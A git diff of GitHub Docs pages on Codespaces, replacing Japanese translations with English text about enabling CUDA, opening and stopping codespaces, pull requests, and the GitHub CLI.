TensorFlow などの一部のソフトウェアでは、codespace の GPU を使用するために NVIDIA CUDA をインストールする必要があります。 その場合は、`devcontainer.json` ファイルを使用して独自のカスタム構成を作成し、CUDA をインストールする必要があることを指定できます。 カスタム構成の作成について詳しくは、「[開発コンテナーの概要](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#creating-a-custom-dev-container-configuration)」を参照してください。
Some software requires you to install NVIDIA CUDA to use your codespaces GPU. Where this is the case, you can create your own custom configuration, by using a `devcontainer.json` file, and specify that CUDA should be installed. For more information on creating a custom configuration, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#creating-a-custom-dev-container-configuration)."
{% note %}
**注**: `nvidia-cuda` 機能を追加するときに実行されるスクリプトについて詳しくは、[devcontainers/features リポジトリ](https://github.com/devcontainers/features/tree/main/src/nvidia-cuda)を参照してください。
**Note**: For full details of the script that's run when you add the `nvidia-cuda` feature, see [the devcontainers/features repository](https://github.com/devcontainers/features/tree/main/src/nvidia-cuda).
{% endnote %}
1. codespace 内で、エディターで `.devcontainer/devcontainer.json` ファイルを開きます。
1. 次の内容を含む最上位の `features` オブジェクトを追加します。
1. Within the codespace, open the `.devcontainer/devcontainer.json` file in the editor.
1. Add a top-level `features` object with the following contents:
```json{:copy}
features: {
"features": {
"ghcr.io/devcontainers/features/nvidia-cuda:1": {
"installCudnn": true
}
}
```
`features` オブジェクトについて詳しくは、「[開発コンテナーの仕様](https://containers.dev/implementors/features/#devcontainer-json-properties)」を参照してください。
For more information about the `features` object, see the [development containers specification](https://containers.dev/implementors/features/#devcontainer-json-properties).
このチュートリアル用に作成した画像分類器リポジトリの `devcontainer.json` ファイルを使用している場合、`devcontainer.json` ファイルは次のようになります。
If you are using the `devcontainer.json` file from the image classifier repository you created for this tutorial, your `devcontainer.json` file will now look like this:
```
```json
{
"customizations": {
"vscode": {
@@ -101,7 +84,7 @@ TensorFlow などの一部のソフトウェアでは、codespace の GPU を使
]
}
},
features: {
"features": {
"ghcr.io/devcontainers/features/nvidia-cuda:1": {
"installCudnn": true
}
@@ -109,16 +92,13 @@ TensorFlow などの一部のソフトウェアでは、codespace の GPU を使
}
```
1. 変更を保存します。
{% data reusables.codespaces.rebuild-command %}codespace コンテナーが再構築されます。 これには数分かかります。 再構築が完了すると、自動的に codespace が再び開きます。
1. 変更をリポジトリにコミットして、CUDA が今後このリポジトリから作成する新しい codespace にインストールされるようにします。
1. Save the change.
{% data reusables.codespaces.rebuild-command %}
The codespace container will be rebuilt. This will take several minutes. When the rebuild is complete the codespace is automatically reopened.
1. Publish your change to a repository so that CUDA will be installed in any new codespaces you create from this repository in future. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-from-vs-code)."
## JupyterLab で codespace を開く
## Opening your codespace in JupyterLab
{% data variables.product.prodname_github_codespaces %} によって使用される既定のコンテナー イメージには、Web ベースの Jupyter IDE である JupyterLab が含まれています。 {% data variables.product.prodname_cli %} を使用すると、codespace に他のものをインストールしなくても、JupyterLab で codespace を開くことができます。
1. ターミナルで、{% data variables.product.prodname_cli %} コマンド `gh cs jupyter` を入力します。
1. 開く codespace を選びます。
![ターミナルから codespace を開くスクリーンショット](/assets/images/help/codespaces/open-codespace-in-jupyter.png)
You can open your codespace in JupyterLab from the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces), or by using {% data variables.product.prodname_cli %}. For more information, see "[Opening an existing codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)."
{% data reusables.codespaces.jupyterlab-installed-in-codespace %}

View File

@@ -1,16 +1,16 @@
---
title: codespace で開発する
intro: '専用のクラウド環境でプロジェクト開発を開始するための codespace を作成します。 転送されたポートを使用してアプリケーションを実行したり、{% data variables.product.prodname_vscode %} 内の Codespaces を使用したりすることもできます。'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
topics:
- Codespaces
children:
- /codespaces-lifecycle
- /the-codespace-lifecycle
- /developing-in-a-codespace
- /creating-a-codespace
- /creating-a-codespace-for-a-repository
- /creating-a-codespace-from-a-template
- /deleting-a-codespace
- /opening-an-existing-codespace
- /using-source-control-in-your-codespace
@@ -21,12 +21,13 @@ children:
- /connecting-to-a-private-network
- /getting-started-with-github-codespaces-for-machine-learning
- /using-github-codespaces-in-visual-studio-code
- /using-github-codespaces-in-your-jetbrains-ide
- /using-github-codespaces-with-github-cli
ms.openlocfilehash: 32f6b6c874d4a117928e8766ded4a8c02f027c8e
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
ms.openlocfilehash: 166283bd0fbc71b8acc180b20ef597dbc0a50781
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/09/2022
ms.locfileid: '147763621'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159014'
---

View File

@@ -1,7 +1,6 @@
---
title: 既存の codespace を開く
intro: 終了または停止した codespace をもう一度開いて、作業に戻ることができます。
product: '{% data reusables.gated-features.codespaces %}'
title: Opening an existing codespace
intro: 'You can reopen a codespace that you have closed or stopped and return to your work.'
versions:
fpt: '*'
ghec: '*'
@@ -11,25 +10,46 @@ topics:
- Fundamentals
- Developer
shortTitle: Open an existing codespace
ms.openlocfilehash: 37eff72e5384ec5eda55708f7672cfe6832864c1
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148109579'
---
{% data variables.product.prodname_dotcom_the_website %} や {% data variables.product.prodname_vscode %} で、または {% data variables.product.prodname_cli %} を使って、アクティブな codespace または停止している codespace をもう一度開くことができます。 削除された codespace を開き直すことはできません。 詳しくは、「[{% data variables.product.prodname_codespaces %} のライフサイクル](/codespaces/developing-in-codespaces/codespaces-lifecycle)」をご覧ください。
## 既存の codespace を開く
{% jetbrains %}
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
{% endjetbrains %}
You can reopen any of your active or stopped codespaces on {% data variables.product.prodname_dotcom_the_website %}, in a JetBrains IDE, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. You can't reopen a codespace that has been deleted. For more information, see "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)."
You can view all your codespaces on the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces). From this page, you can:
- Open, stop, or delete your codespaces.
- See who owns (and may be billed for) your codespaces: your personal account, or organizations you belong to. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
- Create a new codespace, either by choosing one of {% data variables.product.company_short %}'s templates or by clicking **New codespace**. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)" and "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."
## Opening an existing codespace
{% webui %}
{% data reusables.codespaces.your-codespaces-procedure-step %}
1. 既定のエディターで codespace を開くには、codespace の名前をクリックします。 {% data reusables.codespaces.about-changing-default-editor %}詳しくは、「[{% data variables.product.prodname_github_codespaces %} の既定のエディターを設定する](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)」をご覧ください。
1. To open a codespace in your default editor, click the name of the codespace. {% data reusables.codespaces.about-changing-default-editor %} For more information, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
既定以外のエディターで codespace を開くには、codespace の右側にある省略記号 **[...]** を選んで、 **[<アプリケーション> で開く]** をクリックします。
To open the codespace in an editor other than your default:
1. Click the ellipsis (**...**) to the right of the codespace you want to open.
1. Click **Open in**.
1. Click **Open in APPLICATION**.
![[Visual Studio Code で開く] が強調されている "自分の codespace" ページのスクリーンショット](/assets/images/help/codespaces/open-codespace-in-another-editor.png)
![Screenshot of the "Open in" dialog box, with "Open in Visual Studio Code" highlighted](/assets/images/help/codespaces/open-codespace-in-another-editor.png)
You can open the codespace in:
* Your browser
* {% data variables.product.prodname_vscode %}
* JetBrains Gateway
* JupyterLab
{% data reusables.codespaces.application-installed-locally %}
If you choose **JupyterLab**, the JupyterLab application must be installed in the codespace. {% data reusables.codespaces.jupyterlab-in-default-image %}
{% endwebui %}
@@ -37,42 +57,67 @@ ms.locfileid: '148109579'
{% note %}
**:** {% data reusables.codespaces.using-codespaces-in-vscode %}詳しくは、「[{% data variables.product.prodname_vscode %} {% data variables.product.prodname_github_codespaces %} を使用する](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)」をご覧ください。
**Note:** {% data reusables.codespaces.using-codespaces-in-vscode %} For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)."
{% endnote %}
1. {% data variables.product.prodname_vscode_shortname %} デスクトップ アプリケーションで、<kbd>Command</kbd> + <kbd>Shift</kbd> + <kbd>P</kbd> (Mac) または <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>P</kbd> (Windows/Linux) を使ってコマンド パレットを開きます。
1. Codespaces」と入力して、次のいずれかのコマンドを選びます。
- {% data variables.product.prodname_vscode_shortname %} の新しいウィンドウで codespace を開くには、 **[Codespaces: 新しいウィンドウで codespace を開く]** を選びます
- Web エディターで codespace を開くには、 **[Codespaces: ブラウザーで開く]** を選びます
1. 開く codespace をクリックします。
1. In the {% data variables.product.prodname_vscode_shortname %} desktop application, open the Command Palette with <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
1. Type "Codespaces" and select one of the following commands.
- To open a codespace in a new window of {% data variables.product.prodname_vscode_shortname %}, select **Codespaces: Open Codespace in New Window**
- To open a codespace in the web editor, select **Codespaces: Open in Browser**
1. Click the codespace that you want to open.
![Visual Studio Code での codespace の一覧のスクリーンショット](/assets/images/help/codespaces/open-codespace-from-vscode.png)
![Screenshot of a list of codespaces in Visual Studio Code](/assets/images/help/codespaces/open-codespace-from-vscode.png)
{% data variables.product.prodname_vscode_shortname %} のリモート エクスプローラー ビューに移動し、開く codespace を右クリックすることで、上記のコマンドにアクセスすることもできます。
You can also access the commands listed above by navigating to the Remote Explorer view in {% data variables.product.prodname_vscode_shortname %} and right-clicking the codespace that you want to open.
![[ブラウザーで開く] が強調されている、リモート エクスプローラーで選ばれた codespace のスクリーンショット](/assets/images/help/codespaces/open-codespace-remote-explorer.png)
![Screenshot of a codespace selected in the Remote Explorer, with "Open in Browser" highlighted](/assets/images/help/codespaces/open-codespace-remote-explorer.png)
{% data reusables.codespaces.remote-explorer %} {% endvscode %}
{% data reusables.codespaces.remote-explorer %}
{% endvscode %}
{% cli %}
1. ターミナルで、次のいずれかの {% data variables.product.prodname_cli %} コマンドを入力します。
- {% data variables.product.prodname_vscode_shortname %} で codespace を開くには、次のように入力します。
1. In a terminal, enter one of the following {% data variables.product.prodname_cli %} commands.
- To open a codespace in {% data variables.product.prodname_vscode_shortname %}, enter:
```shell{:copy}
gh codespace code
```
{% note %}
- ブラウザーで codespace を開くには、次のように入力します。
**Note**: You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
{% endnote %}
- To open a codespace in the browser, enter:
```shell{:copy}
gh codespace code --web
```
1. 方向キーを使って、開きたい codespace に移動します。
1. codespace を開くには、<kbd>Enter</kbd> キーを押します。
- To open a codespace in JupyterLab, enter:
```shell{:copy}
gh codespace code --jupyter
```
{% note %}
詳しくは、{% data variables.product.prodname_cli %} のマニュアルで [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) をご覧ください。
**Note**: {% data reusables.codespaces.jupyterlab-installed-in-codespace %}
{% endnote %}
1. Using the arrow keys, navigate to the codespace that you want to open.
1. To open the codespace, press <kbd>Enter</kbd>.
For more information, see [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) in the {% data variables.product.prodname_cli %} manual.
{% endcli %}
{% jetbrains %}
{% data reusables.codespaces.opening-codespace-in-jetbrains %}
{% endjetbrains %}

View File

@@ -1,7 +1,6 @@
---
title: codespace の停止と開始
intro: codespace を停止して開始すると、リソースを保存し、作業を一時停止することができます。
product: '{% data reusables.gated-features.codespaces %}'
title: Stopping and starting a codespace
intro: 'You can stop and start your codespace to save resources and to pause work.'
versions:
fpt: '*'
ghec: '*'
@@ -11,89 +10,102 @@ topics:
- Fundamentals
- Developer
shortTitle: Stop a codespace
ms.openlocfilehash: 82e547b62593a74bb201dddd4992f41417d686f9
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148109660'
---
## codespace の停止と開始について
{% jetbrains %}
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
{% endjetbrains %}
## About stopping and starting a codespace
{% data reusables.codespaces.stopping-a-codespace %}
codespaces は、作成またはアクセスした場所に関係なく、 https://github.com/codespaces で表示および管理できます。
Regardless of where you created or access your codespaces, you can view and manage them in your browser at https://github.com/codespaces.
## codespace を停止する
## Stopping a codespace
{% webui %}
{% webui %}
{% data reusables.codespaces.navigate-to-codespaces-page %}
1. 停止する codespace の右側にある省略記号 ( **...** ) をクリックします。
1. **[codespace の停止]** をクリックします。
![codespace を停止するオプションのスクリーンショット](/assets/images/help/codespaces/stop-codespace-webui.png)
1. To the right of the codespace you want to stop, click the elipsis (**...**).
1. Click **Stop codespace**.
![Screenshot of option to stop a codespace](/assets/images/help/codespaces/stop-codespace-webui.png)
{% endwebui %}
{% endwebui %}
{% cli %}
{% cli %}
{% data reusables.cli.cli-learn-more %}
{% data reusables.cli.cli-learn-more %}
codespace を停止するには、`gh codespace stop` サブコマンドを使用し、表示される一覧から停止する codespace を選びます。
To stop a codespace use the `gh codespace stop` subcommand and then choose the codespace you want to stop from the list that's displayed.
```shell{:copy}
gh codespace stop
```
{% endcli %}
{% endcli %}
{% vscode %}
{% vscode %}
{% data reusables.vs-code.open-command-palette %}
1. `stop`」と入力し、オプションの一覧から **[codespace: codespace の停止]** を選びます。
1. codespace の一覧で、停止する codespace を選びます。
1. Type `stop` and select **Codespaces: Stop Codespace** from the list of options.
1. In the list of codespaces, select the codespace you want to stop.
{% endvscode %}
{% endvscode %}
{% jetbrains %}
## codespace の再起動
{% data reusables.codespaces.jetbrains-open-codespace-plugin %}
1. In the {% data variables.product.prodname_github_codespaces %} tool window, click the stop icon.
{% webui %}
![Screenshot of the log button](/assets/images/help/codespaces/jetbrains-plugin-icon-stop.png)
{% endjetbrains %}
## Restarting a codespace
{% webui %}
{% data reusables.codespaces.navigate-to-codespaces-page %}
1. 再起動する codespace の名前をクリックします。
![停止した codespace のスクリーンショット](/assets/images/help/codespaces/restart-codespace-webui.png)
1. Click the name of the codespace you want to restart.
![Screenshot of stopped codespaces](/assets/images/help/codespaces/restart-codespace-webui.png)
{% endwebui %}
{% endwebui %}
{% cli %}
{% cli %}
codespace を再起動するとき、{% data variables.product.prodname_vscode %} で開くか、ブラウザーで開くかを選ぶことができます。
When you restart a codespace you can choose to open it in {% data variables.product.prodname_vscode %} or in your browser.
- codespace を再起動し、{% data variables.product.prodname_vscode %} で開くには、`gh codespace code` サブコマンドを使用し、表示される一覧から再起動する codespace を選びます。
- To restart a codespace and open it in {% data variables.product.prodname_vscode %}, use the `gh codespace code` subcommand and then choose the codespace you want to restart from the list that's displayed.
```shell{:copy}
gh codespace code
```
- codespace を再起動してブラウザーで開くには、`gh codespace open --web` サブコマンドを使用し、表示される一覧から再起動する codespace を選びます。
- To restart a codespace and open it in your browser, use the `gh codespace open --web` subcommand and then choose the codespace you want to restart from the list that's displayed.
```shell{:copy}
gh codespace open --web
```
{% endcli %}
{% endcli %}
{% vscode %}
{% vscode %}
{% data reusables.vs-code.open-command-palette %}
1. `connect`」と入力し、オプションの一覧から **[codespaces: codespace に接続]** を選びます。
1. codespace の一覧で、再起動する codespace を選びます。
1. Type `connect` and select **Codespaces: Connect to Codespace** from the list of options.
1. In the list of codespaces, select the codespace you want to restart.
{% endvscode %}
{% endvscode %}
## 参考資料
- 「[Codespaces のライフサイクル](/codespaces/developing-in-codespaces/codespaces-lifecycle)」
{% jetbrains %}
{% data reusables.codespaces.opening-codespace-in-jetbrains %}
{% endjetbrains %}
## Further reading
- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)"

View File

@@ -1,8 +1,7 @@
---
title: Using GitHub Codespaces for pull requests
shortTitle: Pull requests
intro: 'You can use {% data variables.product.prodname_github_codespaces %} in your development workflow to create pull requests, review pull requests, and address review comments.'
product: '{% data reusables.gated-features.codespaces %}'
intro: 'You can use {% data variables.product.prodname_github_codespaces %} in your web browser, or in {% data variables.product.prodname_vscode %} to create pull requests, review pull requests, and address review comments.'
versions:
fpt: '*'
ghec: '*'
@@ -27,19 +26,33 @@ redirect_from:
{% data reusables.repositories.sidebar-pr %}
1. In the list of pull requests, click the pull request you'd like to open in {% data variables.product.prodname_github_codespaces %}.
1. In the list of pull requests, click the pull request you'd like to open in {% data variables.product.prodname_codespaces %}.
1. On the right-hand side of your screen, click **{% octicon "code" aria-label="The code icon" %} Code**.
1. In the {% data variables.product.prodname_codespaces %} tab, click **Create codespace on BRANCH**.
![Option to open PR in a codespace](/assets/images/help/codespaces/open-with-codespaces-pr.png)
1. In the {% data variables.product.prodname_codespaces %} tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %})
![Option to open PR in a codespace](/assets/images/help/codespaces/open-with-codespaces-pr.png)
A codespace is created for the pull request branch and is opened in your default editor for {% data variables.product.prodname_github_codespaces %}.
## Reviewing a pull request in {% data variables.product.prodname_codespaces %}
{% data reusables.codespaces.review-pr %}
1. With your default editor set to either {% data variables.product.prodname_vscode %} or {% data variables.product.prodname_vscode %} for Web, open the pull request in a codespace, as described in "[Opening a pull request](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)" above.
2. In the Activity Bar, click the **GitHub Pull Request** view. This view only appears when you open a pull request in a codespace.
![Option to open PR in a codespace](/assets/images/help/codespaces/github-pr-view.png)
3. To review a specific file, click the **Open File** icon in the sidebar.
![Option to open PR in a codespace](/assets/images/help/codespaces/changes-in-files.png)
4. To add review comments, click the **+** icon next to the line number. Type your review comment and then click **Start Review**.
![Option to open PR in a codespace](/assets/images/help/codespaces/start-review.png)
5. When you are finished adding review comments, from the sidebar you can choose to either submit the comments, approve the changes, or request changes.
![Option to open PR in a codespace](/assets/images/help/codespaces/submit-review.png)
For more information on reviewing a pull request, see "[Reviewing proposed changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)."
## View comments from a review in {% data variables.product.prodname_codespaces %}
Once you have received feedback on a pull request, you can [open it in a codespace](#opening-a-pull-request-in-codespaces) to see the [review comments](#reviewing-a-pull-request-in-codespaces). From there you can respond to comments, add reactions, or dismiss the review.
Once you have received feedback on a pull request, you can [open it in a codespace](#opening-a-pull-request-in-codespaces) in your web browser, or in {% data variables.product.prodname_vscode_shortname %}, to see the [review comments](#reviewing-a-pull-request-in-codespaces). From there you can respond to comments, add reactions, or dismiss the review.
![Option to open PR in a codespace](/assets/images/help/codespaces/incorporating-codespaces.png)

View File

@@ -1,7 +1,7 @@
---
title: Using GitHub Codespaces in Visual Studio Code
shortTitle: Visual Studio Code
intro: 'You can develop in your codespace directly in {% data variables.product.prodname_vscode %} by connecting the {% data variables.product.prodname_github_codespaces %} extension with your account on {% data variables.product.product_name %}.'
product: '{% data reusables.gated-features.codespaces %}'
redirect_from:
- /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code
- /github/developing-online-with-codespaces/connecting-to-your-codespace-from-visual-studio-code
@@ -15,9 +15,7 @@ topics:
- Codespaces
- Visual Studio Code
- Developer
shortTitle: Visual Studio Code
---
## About {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}
@@ -37,9 +35,9 @@ Use the {% data variables.product.prodname_vscode_marketplace %} to install the
{% mac %}
{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
1. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
1. Click **Sign in to {% data variables.product.prodname_dotcom %}...**.
![Signing in to view {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
![Signing in to {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
2. To authorize {% data variables.product.prodname_vscode_shortname %} to access your account on {% data variables.product.product_name %}, click **Allow**.
3. Sign in to {% data variables.product.product_name %} to approve the extension.
@@ -53,7 +51,7 @@ Use the {% data variables.product.prodname_vscode_marketplace %} to install the
![The {% data variables.product.prodname_github_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png)
1. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
1. Click **Sign in to view {% data variables.product.prodname_codespaces %}**.
![Signing in to view {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png)
@@ -100,4 +98,10 @@ You can use the [Insiders Build of {% data variables.product.prodname_vscode_sho
2. From the list, select "Switch to Insiders Version".
![Clicking on "Insiders Build" in {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-insiders-vscode.png)
3. Once selected, {% data variables.product.prodname_github_codespaces %} will continue to open in Insiders Version.
## Further reading
- "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)"
- "[Using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces)"

View File

@@ -2,7 +2,6 @@
title: Using GitHub Codespaces with GitHub CLI
shortTitle: GitHub CLI
intro: 'You can work with {% data variables.product.prodname_github_codespaces %} directly from your command line by using `gh`, the {% data variables.product.product_name %} command line interface.'
product: '{% data reusables.gated-features.codespaces %}'
miniTocMaxHeadingLevel: 3
versions:
fpt: '*'
@@ -84,7 +83,7 @@ An asterisk at the end of the branch name for a codespace indicates that there a
gh codespace create -r OWNER/REPO_NAME [-b BRANCH]
```
For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."
### Stop a codespace
@@ -118,6 +117,14 @@ To run commands on the remote codespace machine, from your terminal, you can SSH
gh codespace ssh -c CODESPACE-NAME
```
{% note %}
**Note**: {% data reusables.codespaces.ssh-server-installed %}
<br>For more information about the `devcontainer.json` file and the default container image, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
{% endnote %}
{% data variables.product.prodname_github_codespaces %} copies your GitHub SSH keys into the codespace on creation for a seamless authentication experience. You may be asked to enter the passphrase for your SSH key, after which you will get a command prompt from the remote codespace machine.
If you don't have any SSH keys, follow the instructions in "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
@@ -128,7 +135,7 @@ If you don't have any SSH keys, follow the instructions in "[Generating a new SS
gh codespace code -c CODESPACE-NAME
```
For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code)."
You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)."
### Open a codespace in JupyterLab
@@ -136,6 +143,8 @@ For more information, see "[Using {% data variables.product.prodname_github_code
gh codespace jupyter -c CODESPACE-NAME
```
{% data reusables.codespaces.jupyterlab-installed-in-codespace %}
### Copy a file to/from a codespace
```shell

View File

@@ -1,7 +1,6 @@
---
title: Codespace でソースコントロールを使用する
intro: Codespace 内のファイルに変更を加えた後、変更をすばやくコミットして、更新をリモートリポジトリにプッシュできます。
product: '{% data reusables.gated-features.codespaces %}'
title: Using source control in your codespace
intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository.
versions:
fpt: '*'
ghec: '*'
@@ -11,73 +10,113 @@ topics:
- Fundamentals
- Developer
shortTitle: Source control
ms.openlocfilehash: 39913ef49f6c404a95debc3f4ee7b30e9187ddf6
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147110596'
---
## {% data variables.product.prodname_github_codespaces %} でのソース管理について
必要なすべての Git アクションを codespace 内で直接実行できます。 たとえば、リモートリポジトリから変更をフェッチしたり、ブランチを切り替えたり、新しいブランチを作成したり、変更をコミットしてプッシュしたり、プルリクエストを作成したりすることができます。 Codespace 内の統合ターミナルを使用して Git コマンドを入力するか、アイコンとメニューオプションをクリックして最も一般的な Git タスクをすべて完了することができます。 このガイドでは、ソースコントロールにグラフィカルユーザインターフェースを使用する方法について説明します。
{% jetbrains %}
{% data variables.product.prodname_github_codespaces %} 内のソースコントロールは、{% data variables.product.prodname_vscode %} と同じワークフローを使用します。 詳しくは、{% data variables.product.prodname_vscode_shortname %} ドキュメントの「[{% data variables.product.prodname_vscode_shortname %} でのバージョン コントロールの使用](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)」をご覧ください。
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
{% data variables.product.prodname_github_codespaces %} を使用してファイルを更新するための一般的なワークフローは次のとおりです。
{% endjetbrains %}
* {% data variables.product.prodname_dotcom %} のリポジトリのデフォルトブランチから、codespace を作成します。 「[codespace を作成する](/codespaces/developing-in-codespaces/creating-a-codespace)」を参照してください。
* Codespace で、作業する新しいブランチを作成します。
* 変更を加えて保存します。
* 変更をコミットします。
* プルリクエストを発行します。
## About source control in {% data variables.product.prodname_github_codespaces %}
## ブランチの作成または切り替え
You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from a remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control.
{% data reusables.codespaces.create-or-switch-branch %}
{% vscode %}
{% tip %}
For more information about Git support in {% data variables.product.prodname_vscode %}, see "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)" in the {% data variables.product.prodname_vscode %} documentation.
**ヒント**: 他のユーザーがリモート リポジトリのファイルを変更した場合、切り替え後のブランチでは、変更を自分の codespace にプルするまで、それらの変更が表示されません。
{% endvscode %}
{% endtip %}
{% webui %}
## リモートリポジトリから変更をプルする
Source control in the {% data variables.product.prodname_vscode %} web client uses the same workflow as the {% data variables.product.prodname_vscode %} desktop application. For more information, see "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)" in the {% data variables.product.prodname_vscode %} documentation.
リモートリポジトリからいつでも codespace に変更をプルできます。
{% endwebui %}
{% data reusables.codespaces.source-control-display-dark %}
1. サイド バーの上部にある省略記号 **[...]** をクリックします。 ![[表示] および [その他のアクション] の省略記号ボタン](/assets/images/help/codespaces/source-control-ellipsis-button.png)
1. ドロップダウン メニューの **[プル]** をクリックします。
A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be:
codespace の作成後に開発コンテナー構成が変更された場合は、codespace のコンテナーを再構築することで変更を適用できます。 詳細については、[開発コンテナーの概要](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-configuration-changes-to-a-codespace)に関するページをご覧ください。
* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."
* In your codespace, create a new branch to work on.
* Make your changes and save them.
* Commit the change.
* Raise a pull request.
## 新しい変更を自動的にフェッチするように codespace を設定する
{% webui %}
リモートリポジトリに対して行われた新しいコミットの詳細を自動的にフェッチするように codespace を設定できます。 これにより、リポジトリのローカルコピーが古くなっているかどうかを確認できます。古くなっている場合は、新しい変更をプルすることができます。
{% data reusables.codespaces.source-control %}
フェッチ操作でリモートリポジトリの新しい変更が検出されると、ステータスバーに新しいコミットの数が表示されます。 その後、変更をローカルコピーにプルできます。
{% endwebui %}
1. アクティビティ バーの下部にある **[管理]** ボタンをクリックします。
![[管理] ボタン](/assets/images/help/codespaces/manage-button.png)
1. メニューで **[設定]** をクリックします。
1. [設定] ページで、次を検索します: `autofetch`
![autofetch を検索する](/assets/images/help/codespaces/autofetch-search.png)
1. 現在のリポジトリに登録されているすべてのリモートの更新の詳細をフェッチするには、**Git: Autofetch** を `all` に設定します。
![Git autofetch を有効にする](/assets/images/help/codespaces/autofetch-all.png)
1. 各自動フェッチ間の秒数を変更する場合は、**Git: Autofetch Period** の値を編集します。
{% vscode %}
## 変更をコミットする
{% data reusables.codespaces.source-control %}
{% data reusables.codespaces.source-control-commit-changes %}
{% endvscode %}
## プルリクエストを発行する
{% jetbrains %}
{% data reusables.codespaces.source-control-pull-request %}
## Creating or switching branches
## リモートリポジトリに変更をプッシュする
